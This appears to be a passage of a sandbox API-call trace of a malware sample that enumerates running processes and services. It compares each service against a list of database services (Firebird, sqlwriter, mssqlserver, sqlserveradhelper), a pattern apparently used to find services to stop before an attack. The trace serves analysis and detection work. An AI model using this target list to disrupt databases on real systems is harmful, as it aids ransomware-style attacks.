[0090.478] lstrlenW (lpString="mxslipstream.exe") returned 16 [0090.478] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0090.479] lstrlenW (lpString="omnipos.exe") returned 11 [0090.479] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0090.479] lstrlenW (lpString="spcwin.exe") returned 10 [0090.479] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0090.480] lstrlenW (lpString="spgagentservice.exe") returned 19 [0090.480] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0090.481] lstrlenW (lpString="utg2.exe") returned 8 [0090.481] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0090.482] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0090.482] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0090.482] lstrlenW (lpString="glow be.exe") returned 11 [0090.482] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0090.729] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0090.729] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0090.730] lstrlenW (lpString="contains roles was.exe") returned 22 [0090.730] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0090.731] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0090.731] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0090.731] lstrlenW (lpString="taskhostw.exe") returned 13 [0090.731] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0090.732] lstrlenW (lpString="taskhostw.exe") returned 13 [0090.732] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0090.733] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0090.733] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0090.733] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0090.733] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0090.734] lstrlenW (lpString="UsoClient.exe") returned 13 [0090.734] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0090.735] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0090.735] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0090.735] lstrlenW (lpString="conhost.exe") returned 11 [0090.736] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0090.736] lstrlenW (lpString="conhost.exe") returned 11 [0090.736] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.737] lstrlenW (lpString="svchost.exe") returned 11 [0090.737] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0090.737] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0090.737] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.738] lstrlenW (lpString="svchost.exe") returned 11 [0090.738] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0090.739] lstrlenW (lpString="cmd.exe") returned 7 [0090.739] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0090.739] lstrlenW (lpString="conhost.exe") returned 11 [0090.739] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0090.740] lstrlenW (lpString="mode.com") returned 8 [0090.740] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0090.740] lstrlenW (lpString="LogonUI.exe") returned 11 [0090.740] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0090.741] CloseHandle (hObject=0x354) returned 1 [0090.741] Sleep (dwMilliseconds=0x1f4) [0091.535] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4cefb8 [0091.548] EnumServicesStatusExW (in: hSCManager=0x4cefb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0091.548] GetLastError () returned 0xea [0091.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x37e89c0 [0091.548] EnumServicesStatusExW (in: hSCManager=0x4cefb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37e89c0, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37e89c0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0091.549] CloseServiceHandle (hSCObject=0x4cefb8) returned 1 [0091.549] lstrlenW (lpString="Appinfo") returned 7 [0091.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0091.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0091.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0091.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0091.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0091.549] lstrlenW (lpString="AppXSvc") returned 7 [0091.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0091.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0091.550] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0091.550] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0091.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0091.550] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0091.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0091.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0091.550] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0091.550] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0091.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0091.550] lstrlenW (lpString="Audiosrv") returned 8 [0091.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0091.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0091.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0091.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0091.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0091.550] lstrlenW (lpString="BFE") returned 3 [0091.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0091.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0091.550] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0091.550] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0091.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0091.550] lstrlenW (lpString="BITS") returned 4 [0091.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0091.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0091.550] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0091.550] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0091.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0091.550] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0091.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0091.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0091.550] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0091.550] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0091.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0091.550] lstrlenW (lpString="CDPSvc") returned 6 [0091.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0091.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0091.551] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0091.551] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0091.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0091.551] lstrlenW (lpString="ClickToRunSvc") returned 13 [0091.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0091.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0091.551] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0091.551] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0091.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0091.551] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0091.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0091.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0091.551] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0091.551] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0091.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0091.551] lstrlenW (lpString="CryptSvc") returned 8 [0091.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0091.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0091.551] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0091.551] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0091.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0091.551] lstrlenW (lpString="DcomLaunch") returned 10 [0091.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0091.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0091.551] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0091.551] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0091.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0091.551] lstrlenW (lpString="DeviceAssociationService") returned 24 [0091.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0091.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0091.551] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0091.551] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0091.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0091.551] lstrlenW (lpString="Dhcp") returned 4 [0091.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0091.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0091.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0091.552] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0091.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0091.552] lstrlenW (lpString="Dnscache") returned 8 [0091.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0091.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0091.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0091.552] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0091.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0091.552] lstrlenW (lpString="DoSvc") returned 5 [0091.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0091.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0091.552] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0091.552] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0091.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0091.552] lstrlenW (lpString="DPS") returned 3 [0091.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0091.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0091.552] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0091.552] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0091.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0091.552] lstrlenW (lpString="DusmSvc") returned 7 [0091.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0091.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0091.552] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0091.552] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0091.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0091.552] lstrlenW (lpString="EventLog") returned 8 [0091.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0091.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0091.552] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0091.552] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0091.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0091.552] lstrlenW (lpString="EventSystem") returned 11 [0091.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0091.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0091.553] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0091.553] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0091.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0091.553] lstrlenW (lpString="FontCache") returned 9 [0091.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0091.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0091.553] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0091.553] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0091.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0091.553] lstrlenW (lpString="gpsvc") returned 5 [0091.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0091.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0091.553] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0091.553] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0091.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0091.553] lstrlenW (lpString="iphlpsvc") returned 8 [0091.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0091.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0091.553] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0091.553] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0091.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0091.553] lstrlenW (lpString="KeyIso") returned 6 [0091.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0091.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0091.553] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0091.553] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0091.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0091.553] lstrlenW (lpString="LanmanServer") returned 12 [0091.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0091.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0091.553] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0091.553] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0091.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0091.553] lstrlenW (lpString="LanmanWorkstation") returned 17 [0091.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0091.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0091.554] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0091.554] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0091.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0091.554] lstrlenW (lpString="lfsvc") returned 5 [0091.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0091.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0091.554] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0091.554] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0091.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0091.554] lstrlenW (lpString="lmhosts") returned 7 [0091.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0091.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0091.554] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0091.554] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0091.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0091.554] lstrlenW (lpString="LSM") returned 3 [0091.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0091.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0091.554] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0091.554] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0091.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0091.554] lstrlenW (lpString="MapsBroker") returned 10 [0091.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0091.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0091.554] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0091.554] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0091.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0091.554] lstrlenW (lpString="MpsSvc") returned 6 [0091.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0091.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0091.554] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0091.554] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0091.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0091.554] lstrlenW (lpString="NcbService") returned 10 [0091.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0091.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0091.555] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0091.555] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0091.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0091.555] lstrlenW (lpString="netprofm") returned 8 [0091.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0091.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0091.555] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0091.555] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0091.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0091.555] lstrlenW (lpString="NlaSvc") returned 6 